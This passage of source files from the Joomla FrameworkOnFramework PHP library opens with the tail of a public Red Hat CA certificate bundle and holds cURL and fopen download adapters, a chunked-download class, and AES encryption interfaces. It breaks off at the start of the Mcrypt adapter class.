BAgTDk5vcnRoIENhcm9saW5hMR8wHQYDVQQHExZSZXNlYXJjaCBUcmlhbmdsZSBQ
YXJrMRYwFAYDVQQKEw1SZWQgSGF0LCBJbmMuMSEwHwYDVQQLExhSZWQgSGF0IE5l
dHdvcmsgU2VydmljZXMxIzAhBgNVBAMTGlJITlMgQ2VydGlmaWNhdGUgQXV0aG9y
aXR5MR4wHAYJKoZIhvcNAQkBFg9yaG5zQHJlZGhhdC5jb20wgZ8wDQYJKoZIhvcN
AQEBBQADgY0AMIGJAoGBAMBoKxIw4iEtIsZycVu/F6CTEOmb48mNOy2sxLuVO+DK
VTLclcIQswSyUfvohWEWNKW0HWdcp3f08JLatIuvlZNi82YprsCIt2SEDkiQYPhg
PgB/VN0XpqwY4ELefL6Qgff0BYUKCMzV8p/8JIt3pT3pSKnvDztjo/6mg0zo3At3
AgMBAAGjggEoMIIBJDAdBgNVHQ4EFgQUVBXNnyz37A0f0qi+TAesiD77mwowgfQG
A1UdIwSB7DCB6YAUVBXNnyz37A0f0qi+TAesiD77mwqhgc2kgcowgccxCzAJBgNV
BAYTAlVTMRcwFQYDVQQIEw5Ob3J0aCBDYXJvbGluYTEfMB0GA1UEBxMWUmVzZWFy
Y2ggVHJpYW5nbGUgUGFyazEWMBQGA1UEChMNUmVkIEhhdCwgSW5jLjEhMB8GA1UE
CxMYUmVkIEhhdCBOZXR3b3JrIFNlcnZpY2VzMSMwIQYDVQQDExpSSE5TIENlcnRp
ZmljYXRlIEF1dGhvcml0eTEeMBwGCSqGSIb3DQEJARYPcmhuc0ByZWRoYXQuY29t
ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEAkwGIiGdnkYye0BIU
kHESh1UK8lIbrfLTBx2vcJm7sM2AI8ntK3PpY7HQs4xgxUJkpsGVVpDFNQYDWPWO
K9n5qaAQqZn3FUKSpVDXEQfxAtXgcORVbirOJfhdzQsvEGH49iBCzMOJ+IpPgiQS
zzl/IagsjVKXUsX3X0KlhwlmsMw=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIID7jCCA1egAwIBAgIBADANBgkqhkiG9w0BAQQFADCBsTELMAkGA1UEBhMCVVMx
FzAVBgNVBAgTDk5vcnRoIENhcm9saW5hMRAwDgYDVQQHEwdSYWxlaWdoMRYwFAYD
VQQKEw1SZWQgSGF0LCBJbmMuMRgwFgYDVQQLEw9SZWQgSGF0IE5ldHdvcmsxIjAg
BgNVBAMTGVJITiBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkxITAfBgkqhkiG9w0BCQEW
EnJobi1ub2NAcmVkaGF0LmNvbTAeFw0wMjA5MDUyMDQ1MTZaFw0wNzA5MDkyMDQ1
MTZaMIGxMQswCQYDVQQGEwJVUzEXMBUGA1UECBMOTm9ydGggQ2Fyb2xpbmExEDAO
BgNVBAcTB1JhbGVpZ2gxFjAUBgNVBAoTDVJlZCBIYXQsIEluYy4xGDAWBgNVBAsT
D1JlZCBIYXQgTmV0d29yazEiMCAGA1UEAxMZUkhOIENlcnRpZmljYXRlIEF1dGhv
cml0eTEhMB8GCSqGSIb3DQEJARYScmhuLW5vY0ByZWRoYXQuY29tMIGfMA0GCSqG
SIb3DQEBAQUAA4GNADCBiQKBgQCzFrfF9blpUR/NtD1wz2BXhaQqp10oIg7sGeKS
90iXpqYfUZWDEY+amKKQ4MtKJBmUqIpLiLQGbM531xU7PM1mg88jHQ28CgzLH8tA
+/PZ/iq0hSx7yaH+849oHfISsaQWGc4PuJqc2bxfSWKylZPOXS7deTzxW6a3orU5
DY4SMQIDAQABo4IBEjCCAQ4wHQYDVR0OBBYEFH8bZKEuAsWofbjRsYsGnaOpUGOS
MIHeBgNVHSMEgdYwgdOAFH8bZKEuAsWofbjRsYsGnaOpUGOSoYG3pIG0MIGxMQsw
CQYDVQQGEwJVUzEXMBUGA1UECBMOTm9ydGggQ2Fyb2xpbmExEDAOBgNVBAcTB1Jh
bGVpZ2gxFjAUBgNVBAoTDVJlZCBIYXQsIEluYy4xGDAWBgNVBAsTD1JlZCBIYXQg
TmV0d29yazEiMCAGA1UEAxMZUkhOIENlcnRpZmljYXRlIEF1dGhvcml0eTEhMB8G
CSqGSIb3DQEJARYScmhuLW5vY0ByZWRoYXQuY29tggEAMAwGA1UdEwQFMAMBAf8w
DQYJKoZIhvcNAQEEBQADgYEAKE1C5TQi3caGYwR1UmcXRXLyOyErRVlyc/dZNp1X
Q8bclA8O/xNcT1A3hbLkwh81n3T051P7oQa4Oc7kCoZ7XyhdxxGeEqXWuWzpGAnV
8ELnVLWRniOtEnqqcnw5PIP4daR7A5L/KtTFdhkS+rQ7sIkslYwBkA3YugYFYQCs
ldo=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIID7jCCA1egAwIBAgIBADANBgkqhkiG9w0BAQQFADCBsTELMAkGA1UEBhMCVVMx
FzAVBgNVBAgTDk5vcnRoIENhcm9saW5hMRAwDgYDVQQHEwdSYWxlaWdoMRYwFAYD
VQQKEw1SZWQgSGF0LCBJbmMuMRgwFgYDVQQLEw9SZWQgSGF0IE5ldHdvcmsxIjAg
BgNVBAMTGVJITiBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkxITAfBgkqhkiG9w0BCQEW
EnJobi1ub2NAcmVkaGF0LmNvbTAeFw0wMzA4MjkwMjEwNTVaFw0xMzA4MjYwMjEw
NTVaMIGxMQswCQYDVQQGEwJVUzEXMBUGA1UECBMOTm9ydGggQ2Fyb2xpbmExEDAO
BgNVBAcTB1JhbGVpZ2gxFjAUBgNVBAoTDVJlZCBIYXQsIEluYy4xGDAWBgNVBAsT
D1JlZCBIYXQgTmV0d29yazEiMCAGA1UEAxMZUkhOIENlcnRpZmljYXRlIEF1dGhv
cml0eTEhMB8GCSqGSIb3DQEJARYScmhuLW5vY0ByZWRoYXQuY29tMIGfMA0GCSqG
SIb3DQEBAQUAA4GNADCBiQKBgQC/YWPrPYsrRUjmwvt80iEhuOyQk0EwfCyNedUU
6Q5+P+/WCpsKpgJSAS0mlqTtvameqggDwWEKQYDqrnTMYSbQBZFVPmYUoiCz1p1x
DKt3zPTwEbUlM4pOIpoQNmf6EW1Idjof0uNEe4lmvrSF+y+mqhP6mm3JuxjEBK9P
FWmJmwIDAQABo4IBEjCCAQ4wHQYDVR0OBBYEFGlEJwXcLu2l9IHE13hF50Rd+IdH
MIHeBgNVHSMEgdYwgdOAFGlEJwXcLu2l9IHE13hF50Rd+IdHoYG3pIG0MIGxMQsw
CQYDVQQGEwJVUzEXMBUGA1UECBMOTm9ydGggQ2Fyb2xpbmExEDAOBgNVBAcTB1Jh
bGVpZ2gxFjAUBgNVBAoTDVJlZCBIYXQsIEluYy4xGDAWBgNVBAsTD1JlZCBIYXQg
TmV0d29yazEiMCAGA1UEAxMZUkhOIENlcnRpZmljYXRlIEF1dGhvcml0eTEhMB8G
CSqGSIb3DQEJARYScmhuLW5vY0ByZWRoYXQuY29tggEAMAwGA1UdEwQFMAMBAf8w
DQYJKoZIhvcNAQEEBQADgYEAI8nKB59eljmD4E7a3UeEMMrU1TiG+d6Ig8osRyY2
q/QUHigp3n0QSl6RPlqZBwypLuP7eERJxTLW6HqX/ynQM64munYGfnmXFwxPLSqL
iqxBWa7pxFUtuYjfm3tB+DIu7snAWeIwV143RynALXgz086jK9yE2r87Lku2s7ZO
noA=
-----END CERTIFICATE-----
<?php
/**
* @package FrameworkOnFramework
* @subpackage dispatcher
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* A download adapter using the cURL PHP module
*/
class FOFDownloadAdapterCurl extends FOFDownloadAdapterAbstract implements
FOFDownloadInterface
{
protected $headers = array();
public function __construct()
{
$this->priority = 110;
$this->supportsFileSize = true;
$this->supportsChunkDownload = true;
$this->name = 'curl';
$this->isSupported = function_exists('curl_init') &&
function_exists('curl_exec') &&
function_exists('curl_close');
}
/**
* Download a part (or the whole) of a remote URL and return the
downloaded
* data. You are supposed to check the size of the returned data. If
it's
* smaller than what you expected you've reached end of file. If
it's empty
* you have tried reading past EOF. If it's larger than what you
expected
* the server doesn't support chunk downloads.
*
* If this class' supportsChunkDownload returns false you should
assume
* that the $from and $to parameters will be ignored.
*
* @param string $url The remote file's URL
* @param integer $from Byte range to start downloading from. Use
null for start of file.
* @param integer $to Byte range to stop downloading. Use null to
download the entire file ($from is ignored)
* @param array $params Additional params that will be added before
performing the download
*
* @return string The raw file data retrieved from the remote URL.
*
* @throws Exception A generic exception is thrown on error
*/
public function downloadAndReturn($url, $from = null, $to = null, array
$params = array())
{
$ch = curl_init();
if (empty($from))
{
$from = 0;
}
if (empty($to))
{
$to = 0;
}
if ($to < $from)
{
$temp = $to;
$to = $from;
$from = $temp;
unset($temp);
}
// Default cURL options
$options = array(
CURLOPT_AUTOREFERER => 1,
CURLOPT_SSL_VERIFYPEER => 1,
CURLOPT_SSL_VERIFYHOST => 2,
CURLOPT_SSLVERSION => 0,
CURLOPT_AUTOREFERER => 1,
CURLOPT_URL => $url,
CURLOPT_BINARYTRANSFER => 1,
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_FOLLOWLOCATION => 1,
CURLOPT_CAINFO => __DIR__ . '/cacert.pem',
CURLOPT_HEADERFUNCTION => array($this,
'reponseHeaderCallback')
);
if (!(empty($from) && empty($to)))
{
$options[CURLOPT_RANGE] = "$from-$to";
}
// Add any additional options: Since they are numeric, we must use the
array operator. If the jey exists in both
// arrays, only the first one will be used while the second one will be
ignored
$options = $params + $options;
@curl_setopt_array($ch, $options);
$this->headers = array();
$result = curl_exec($ch);
$errno = curl_errno($ch);
$errmsg = curl_error($ch);
$http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($result === false)
{
$error = JText::sprintf('LIB_FOF_DOWNLOAD_ERR_CURL_ERROR',
$errno, $errmsg);
}
elseif (($http_status >= 300) && ($http_status <= 399)
&& isset($this->headers['Location']) &&
!empty($this->headers['Location']))
{
return
$this->downloadAndReturn($this->headers['Location'], $from,
$to, $params);
}
elseif ($http_status > 399)
{
$result = false;
$errno = $http_status;
$error = JText::sprintf('LIB_FOF_DOWNLOAD_ERR_HTTPERROR',
$http_status);
}
curl_close($ch);
if ($result === false)
{
throw new Exception($error, $errno);
}
else
{
return $result;
}
}
/**
* Get the size of a remote file in bytes
*
* @param string $url The remote file's URL
*
* @return integer The file size, or -1 if the remote server
doesn't support this feature
*/
public function getFileSize($url)
{
$result = -1;
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_SSLVERSION, 0);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_NOBODY, true );
curl_setopt($ch, CURLOPT_HEADER, true );
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true );
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true );
@curl_setopt($ch, CURLOPT_CAINFO, __DIR__ . '/cacert.pem');
$data = curl_exec($ch);
curl_close($ch);
if ($data)
{
$content_length = "unknown";
$status = "unknown";
$redirection = null;
if (preg_match( "/^HTTP\/1\.[01] (\d\d\d)/", $data, $matches))
{
$status = (int)$matches[1];
}
if (preg_match( "/Content-Length: (\d+)/", $data, $matches))
{
$content_length = (int)$matches[1];
}
if (preg_match( "/Location: (.*)/", $data, $matches))
{
$redirection = (int)$matches[1];
}
if ($status == 200)
{
$result = $content_length;
}
if (($status > 300) && ($status <= 308))
{
if (!empty($redirection))
{
return $this->getFileSize($redirection);
}
return -1;
}
}
return $result;
}
/**
* Handles the HTTP headers returned by cURL
*
* @param resource $ch cURL resource handle (unused)
* @param string $data Each header line, as returned by the server
*
* @return int The length of the $data string
*/
protected function reponseHeaderCallback(&$ch, &$data)
{
$strlen = strlen($data);
if (($strlen) <= 2)
{
return $strlen;
}
if (substr($data, 0, 4) == 'HTTP')
{
return $strlen;
}
list($header, $value) = explode(': ', trim($data), 2);
$this->headers[$header] = $value;
return $strlen;
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage dispatcher
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* A download adapter using URL fopen() wrappers
*/
class FOFDownloadAdapterFopen extends FOFDownloadAdapterAbstract implements
FOFDownloadInterface
{
public function __construct()
{
$this->priority = 100;
$this->supportsFileSize = false;
$this->supportsChunkDownload = true;
$this->name = 'fopen';
// If we are not allowed to use ini_get, we assume that URL fopen is
// disabled.
if (!function_exists('ini_get'))
{
$this->isSupported = false;
}
else
{
$this->isSupported = ini_get('allow_url_fopen');
}
}
/**
* Download a part (or the whole) of a remote URL and return the
downloaded
* data. You are supposed to check the size of the returned data. If
it's
* smaller than what you expected you've reached end of file. If
it's empty
* you have tried reading past EOF. If it's larger than what you
expected
* the server doesn't support chunk downloads.
*
* If this class' supportsChunkDownload returns false you should
assume
* that the $from and $to parameters will be ignored.
*
* @param string $url The remote file's URL
* @param integer $from Byte range to start downloading from. Use
null for start of file.
* @param integer $to Byte range to stop downloading. Use null to
download the entire file ($from is ignored)
* @param array $params Additional params that will be added before
performing the download
*
* @return string The raw file data retrieved from the remote URL.
*
* @throws Exception A generic exception is thrown on error
*/
public function downloadAndReturn($url, $from = null, $to = null, array
$params = array())
{
if (empty($from))
{
$from = 0;
}
if (empty($to))
{
$to = 0;
}
if ($to < $from)
{
$temp = $to;
$to = $from;
$from = $temp;
unset($temp);
}
if (!(empty($from) && empty($to)))
{
$options = array(
'http' => array(
'method' => 'GET',
'header' => "Range: bytes=$from-$to\r\n"
),
'ssl' => array(
'verify_peer' => true,
'cafile' => __DIR__ . '/cacert.pem',
'verify_depth' => 5,
)
);
$options = array_merge($options, $params);
$context = stream_context_create($options);
$result = @file_get_contents($url, false, $context, $from - $to + 1);
}
else
{
$options = array(
'http' => array(
'method' => 'GET',
),
'ssl' => array(
'verify_peer' => true,
'cafile' => __DIR__ . '/cacert.pem',
'verify_depth' => 5,
)
);
$options = array_merge($options, $params);
$context = stream_context_create($options);
$result = @file_get_contents($url, false, $context);
}
if ($result === false)
{
$error = JText::sprintf('LIB_FOF_DOWNLOAD_ERR_HTTPERROR');
throw new Exception($error, 1);
}
else
{
return $result;
}
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage dispatcher
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
class FOFDownload
{
/**
* Parameters passed from the GUI when importing from URL
*
* @var array
*/
private $params = array();
/**
* The download adapter which will be used by this class
*
* @var FOFDownloadInterface
*/
private $adapter = null;
/**
* Additional params that will be passed to the adapter while performing
the download
*
* @var array
*/
private $adapterOptions = array();
/**
* Creates a new download object and assigns it the most fitting download
adapter
*/
public function __construct()
{
// Find the best fitting adapter
$allAdapters = self::getFiles(__DIR__ . '/adapter', array(),
array('abstract.php'));
$priority = 0;
foreach ($allAdapters as $adapterInfo)
{
if (!class_exists($adapterInfo['classname'], true))
{
continue;
}
/** @var FOFDownloadAdapterAbstract $adapter */
$adapter = new $adapterInfo['classname'];
if ( !$adapter->isSupported())
{
continue;
}
if ($adapter->priority > $priority)
{
$this->adapter = $adapter;
$priority = $adapter->priority;
}
}
// Load the language strings
FOFPlatform::getInstance()->loadTranslations('lib_f0f');
}
/**
* Forces the use of a specific adapter
*
* @param string $className The name of the class or the name of the
adapter, e.g. 'FOFDownloadAdapterCurl' or
* 'curl'
*/
public function setAdapter($className)
{
$adapter = null;
if (class_exists($className, true))
{
$adapter = new $className;
}
elseif (class_exists('FOFDownloadAdapter' .
ucfirst($className)))
{
$className = 'FOFDownloadAdapter' . ucfirst($className);
$adapter = new $className;
}
if (is_object($adapter) && ($adapter instanceof
FOFDownloadInterface))
{
$this->adapter = $adapter;
}
}
/**
* Returns the name of the current adapter
*
* @return string
*/
public function getAdapterName()
{
if(is_object($this->adapter))
{
$class = get_class($this->adapter);
return strtolower(str_ireplace('FOFDownloadAdapter',
'', $class));
}
return '';
}
/**
* Sets the additional options for the adapter
*
* @param array $options
*/
public function setAdapterOptions(array $options)
{
$this->adapterOptions = $options;
}
/**
* Returns the additional options for the adapter
*
* @return array
*/
public function getAdapterOptions()
{
return $this->adapterOptions;
}
/**
* Used to decode the $params array
*
* @param string $key The parameter key you want to retrieve the
value for
* @param mixed $default The default value, if none is specified
*
* @return mixed The value for this parameter key
*/
private function getParam($key, $default = null)
{
if (array_key_exists($key, $this->params))
{
return $this->params[$key];
}
else
{
return $default;
}
}
/**
* Download data from a URL and return it
*
* @param string $url The URL to download from
*
* @return bool|string The downloaded data or false on failure
*/
public function getFromURL($url)
{
try
{
return $this->adapter->downloadAndReturn($url, null, null,
$this->adapterOptions);
}
catch (Exception $e)
{
return false;
}
}
/**
* Performs the staggered download of file. The downloaded file will be
stored in Joomla!'s temp-path using the
* basename of the URL as a filename
*
* The $params array can have any of the following keys
* url The file being downloaded
* frag Rolling counter of the file fragment being downloaded
* totalSize The total size of the file being downloaded, in bytes
* doneSize How many bytes we have already downloaded
* maxExecTime Maximum execution time downloading file fragments, in
seconds
* length How many bytes to download at once
*
* The array returned is in the following format:
*
* status True if there are no errors, false if there are errors
* error A string with the error message if there are errors
* frag The next file fragment to download
* totalSize The total size of the downloaded file in bytes, if the server
supports HEAD requests
* doneSize How many bytes have already been downloaded
* percent % of the file already downloaded (if totalSize could be
determined)
* localfile The name of the local file, without the path
*
* @param array $params A parameters array, as sent by the user
interface
*
* @return array A return status array
*/
public function importFromURL($params)
{
$this->params = $params;
// Fetch data
$url = $this->getParam('url');
$localFilename = $this->getParam('localFilename');
$frag = $this->getParam('frag', -1);
$totalSize = $this->getParam('totalSize', -1);
$doneSize = $this->getParam('doneSize', -1);
$maxExecTime = $this->getParam('maxExecTime', 5);
$runTimeBias = $this->getParam('runTimeBias', 75);
$length = $this->getParam('length', 1048576);
if (empty($localFilename))
{
$localFilename = basename($url);
if (strpos($localFilename, '?') !== false)
{
$paramsPos = strpos($localFilename, '?');
$localFilename = substr($localFilename, 0, $paramsPos - 1);
}
}
$tmpDir = JFactory::getConfig()->get('tmp_path',
JPATH_ROOT . '/tmp');
$tmpDir = rtrim($tmpDir, '/\\');
// Init retArray
$retArray = array(
"status" => true,
"error" => '',
"frag" => $frag,
"totalSize" => $totalSize,
"doneSize" => $doneSize,
"percent" => 0,
"localfile" => $localFilename
);
try
{
$timer = new FOFUtilsTimer($maxExecTime, $runTimeBias);
$start = $timer->getRunningTime(); // Mark the start of this download
$break = false; // Don't break the step
// Figure out where on Earth to put that file
$local_file = $tmpDir . '/' . $localFilename;
while (($timer->getTimeLeft() > 0) && !$break)
{
// Do we have to initialize the file?
if ($frag == -1)
{
// Currently downloaded size
$doneSize = 0;
if (@file_exists($local_file))
{
@unlink($local_file);
}
// Delete and touch the output file
$fp = @fopen($local_file, 'wb');
if ($fp !== false)
{
@fclose($fp);
}
// Init
$frag = 0;
//debugMsg("-- First frag, getting the file size");
$retArray['totalSize'] =
$this->adapter->getFileSize($url);
$totalSize = $retArray['totalSize'];
}
// Calculate from and length
$from = $frag * $length;
$to = $length + $from - 1;
// Try to download the first frag
$required_time = 1.0;
try
{
$result = $this->adapter->downloadAndReturn($url, $from, $to,
$this->adapterOptions);
if ($result === false)
{
throw new
Exception(JText::sprintf('LIB_FOF_DOWNLOAD_ERR_COULDNOTDOWNLOADFROMURL',
$url), 500);
}
}
catch (Exception $e)
{
$result = false;
$error = $e->getMessage();
}
if ($result === false)
{
// Failed download
if ($frag == 0)
{
// Failure to download first frag = failure to download. Period.
$retArray['status'] = false;
$retArray['error'] = $error;
//debugMsg("-- Download FAILED");
return $retArray;
}
else
{
// Since this is a staggered download, consider this normal and
finish
$frag = -1;
//debugMsg("-- Import complete");
$totalSize = $doneSize;
$break = true;
}
}
// Add the currently downloaded frag to the total size of downloaded
files
if ($result)
{
$filesize = strlen($result);
//debugMsg("-- Successful download of $filesize bytes");
$doneSize += $filesize;
// Append the file
$fp = @fopen($local_file, 'ab');
if ($fp === false)
{
//debugMsg("-- Can't open local file $local_file for
writing");
// Can't open the file for writing
$retArray['status'] = false;
$retArray['error'] =
JText::sprintf('LIB_FOF_DOWNLOAD_ERR_COULDNOTWRITELOCALFILE',
$local_file);
return $retArray;
}
fwrite($fp, $result);
fclose($fp);
//debugMsg("-- Appended data to local file $local_file");
$frag++;
//debugMsg("-- Proceeding to next fragment, frag $frag");
if (($filesize < $length) || ($filesize > $length))
{
// A partial download or a download larger than the frag size means
we are done
$frag = -1;
//debugMsg("-- Import complete (partial download of last
frag)");
$totalSize = $doneSize;
$break = true;
}
}
// Advance the frag pointer and mark the end
$end = $timer->getRunningTime();
// Do we predict that we have enough time?
$required_time = max(1.1 * ($end - $start), $required_time);
if ($required_time > (10 - $end + $start))
{
$break = true;
}
$start = $end;
}
if ($frag == -1)
{
$percent = 100;
}
elseif ($doneSize <= 0)
{
$percent = 0;
}
else
{
if ($totalSize > 0)
{
$percent = 100 * ($doneSize / $totalSize);
}
else
{
$percent = 0;
}
}
// Update $retArray
$retArray = array(
"status" => true,
"error" => '',
"frag" => $frag,
"totalSize" => $totalSize,
"doneSize" => $doneSize,
"percent" => $percent,
);
}
catch (Exception $e)
{
//debugMsg("EXCEPTION RAISED:");
//debugMsg($e->getMessage());
$retArray['status'] = false;
$retArray['error'] = $e->getMessage();
}
return $retArray;
}
/**
* This method will crawl a starting directory and get all the valid files
* that will be analyzed by __construct. Then it organizes them into an
* associative array.
*
* @param string $path Folder where we should start looking
* @param array $ignoreFolders Folder ignore list
* @param array $ignoreFiles File ignore list
*
* @return array Associative array, where the `fullpath` key contains
the path to the file,
* and the `classname` key contains the name of the class
*/
protected static function getFiles($path, array $ignoreFolders = array(),
array $ignoreFiles = array())
{
$return = array();
$files = self::scanDirectory($path, $ignoreFolders, $ignoreFiles);
// Ok, I got the files, now I have to organize them
foreach ($files as $file)
{
$clean = str_replace($path, '', $file);
$clean = trim(str_replace('\\', '/', $clean),
'/');
$parts = explode('/', $clean);
$return[] = array(
'fullpath' => $file,
'classname' => 'FOFDownloadAdapter' .
ucfirst(basename($parts[0], '.php'))
);
}
return $return;
}
/**
* Recursive function that will scan every directory unless it's in
the
* ignore list. Files that aren't in the ignore list are returned.
*
* @param string $path Folder where we should start looking
* @param array $ignoreFolders Folder ignore list
* @param array $ignoreFiles File ignore list
*
* @return array List of all the files
*/
protected static function scanDirectory($path, array $ignoreFolders =
array(), array $ignoreFiles = array())
{
$return = array();
$handle = @opendir($path);
if ( !$handle)
{
return $return;
}
while (($file = readdir($handle)) !== false)
{
if ($file == '.' || $file == '..')
{
continue;
}
$fullpath = $path . '/' . $file;
if ((is_dir($fullpath) && in_array($file, $ignoreFolders)) ||
(is_file($fullpath) && in_array($file, $ignoreFiles)))
{
continue;
}
if (is_dir($fullpath))
{
$return = array_merge(self::scanDirectory($fullpath, $ignoreFolders,
$ignoreFiles), $return);
}
else
{
$return[] = $path . '/' . $file;
}
}
return $return;
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage dispatcher
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
interface FOFDownloadInterface
{
/**
* Does this download adapter support downloading files in chunks?
*
* @return boolean True if chunk download is supported
*/
public function supportsChunkDownload();
/**
* Does this download adapter support reading the size of a remote file?
*
* @return boolean True if remote file size determination is supported
*/
public function supportsFileSize();
/**
* Is this download class supported in the current server environment?
*
* @return boolean True if this server environment supports this
download class
*/
public function isSupported();
/**
* Get the priority of this adapter. If multiple download adapters are
* supported on a site, the one with the highest priority will be
* used.
*
* @return boolean
*/
public function getPriority();
/**
* Returns the name of this download adapter in use
*
* @return string
*/
public function getName();
/**
* Download a part (or the whole) of a remote URL and return the
downloaded
* data. You are supposed to check the size of the returned data. If
it's
* smaller than what you expected you've reached end of file. If
it's empty
* you have tried reading past EOF. If it's larger than what you
expected
* the server doesn't support chunk downloads.
*
* If this class' supportsChunkDownload returns false you should
assume
* that the $from and $to parameters will be ignored.
*
* @param string $url The remote file's URL
* @param integer $from Byte range to start downloading from. Use
null for start of file.
* @param integer $to Byte range to stop downloading. Use null to
download the entire file ($from is ignored)
* @param array $params Additional params that will be added before
performing the download
*
* @return string The raw file data retrieved from the remote URL.
*
* @throws Exception A generic exception is thrown on error
*/
public function downloadAndReturn($url, $from = null, $to = null, array
$params = array());
/**
* Get the size of a remote file in bytes
*
* @param string $url The remote file's URL
*
* @return integer The file size, or -1 if the remote server
doesn't support this feature
*/
public function getFileSize($url);
}<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Abstract AES encryption class
*/
abstract class FOFEncryptAesAbstract
{
/**
* Trims or zero-pads a key / IV
*
* @param string $key The key or IV to treat
* @param int $size The block size of the currently used algorithm
*
* @return null|string Null if $key is null, treated string of $size
byte length otherwise
*/
public function resizeKey($key, $size)
{
if (empty($key))
{
return null;
}
$keyLength = strlen($key);
if (function_exists('mb_strlen'))
{
$keyLength = mb_strlen($key, 'ASCII');
}
if ($keyLength == $size)
{
return $key;
}
if ($keyLength > $size)
{
if (function_exists('mb_substr'))
{
return mb_substr($key, 0, $size, 'ASCII');
}
return substr($key, 0, $size);
}
return $key . str_repeat("\0", ($size - $keyLength));
}
/**
* Returns null bytes to append to the string so that it's zero
padded to the specified block size
*
* @param string $string The binary string which will be zero padded
* @param int $blockSize The block size
*
* @return string The zero bytes to append to the string to zero pad it
to $blockSize
*/
protected function getZeroPadding($string, $blockSize)
{
$stringSize = strlen($string);
if (function_exists('mb_strlen'))
{
$stringSize = mb_strlen($string, 'ASCII');
}
if ($stringSize == $blockSize)
{
return '';
}
if ($stringSize < $blockSize)
{
return str_repeat("\0", $blockSize - $stringSize);
}
$paddingBytes = $stringSize % $blockSize;
return str_repeat("\0", $blockSize - $paddingBytes);
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Interface for AES encryption adapters
*/
interface FOFEncryptAesInterface
{
/**
* Sets the AES encryption mode.
*
* WARNING: The strength is deprecated as it has a different effect in
MCrypt and OpenSSL. MCrypt was abandoned in
* 2003 before the Rijndael-128 algorithm was officially the Advanced
Encryption Standard (AES). MCrypt also offered
* Rijndael-192 and Rijndael-256 algorithms with different block sizes.
These are NOT used in AES. OpenSSL, however,
* implements AES correctly. It always uses a 128-bit (16 byte) block. The
192 and 256 bit strengths refer to the
* key size, not the block size. Therefore using different strengths in
MCrypt and OpenSSL will result in different
* and incompatible ciphertexts.
*
* TL;DR: Always use $strength = 128!
*
* @param string $mode Choose between CBC (recommended) or ECB
* @param int $strength Bit strength of the key (128, 192 or 256
bits). DEPRECATED. READ NOTES ABOVE.
*
* @return mixed
*/
public function setEncryptionMode($mode = 'cbc', $strength =
128);
/**
* Encrypts a string. Returns the raw binary ciphertext.
*
* WARNING: The plaintext is zero-padded to the algorithm's block
size. You are advised to store the size of the
* plaintext and trim the string to that length upon decryption.
*
* @param string $plainText The plaintext to encrypt
* @param string $key The raw binary key (will be
zero-padded or chopped if its size is different than the block size)
* @param null|string $iv The initialization vector (for CBC
mode algorithms)
*
* @return string The raw encrypted binary string.
*/
public function encrypt($plainText, $key, $iv = null);
/**
* Decrypts a string. Returns the raw binary plaintext.
*
* $ciphertext MUST start with the IV followed by the ciphertext, even for
EBC data (the first block of data is
* dropped in EBC mode since there is no concept of IV in EBC).
*
* WARNING: The returned plaintext is zero-padded to the algorithm's
block size during encryption. You are advised
* to trim the string to the original plaintext's length upon
decryption. While rtrim($decrypted, "\0") sounds
* appealing it's NOT the correct approach for binary data (zero
bytes may actually be part of your plaintext, not
* just padding!).
*
* @param string $cipherText The ciphertext to encrypt
* @param string $key The raw binary key (will be zero-padded
or chopped if its size is different than the block size)
*
* @return string The raw unencrypted binary string.
*/
public function decrypt($cipherText, $key);
/**
* Returns the encryption block size in bytes
*
* @return int
*/
public function getBlockSize();
/**
* Is this adapter supported?
*
* @param FOFUtilsPhpfunc $phpfunc
*
* @return bool
*/
public function isSupported(FOFUtilsPhpfunc $phpfunc = null);
}<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
class FOFEncryptAesMcrypt extends FOFEncryptAesAbstract implements
FOFEncryptAesInterface
{
protected $cipherType = MCRYPT_RIJNDAEL_128;
protected $cipherMode = MCRYPT_MODE_CBC;
public function setEncryptionMode($mode = 'cbc', $strength =
128)
{
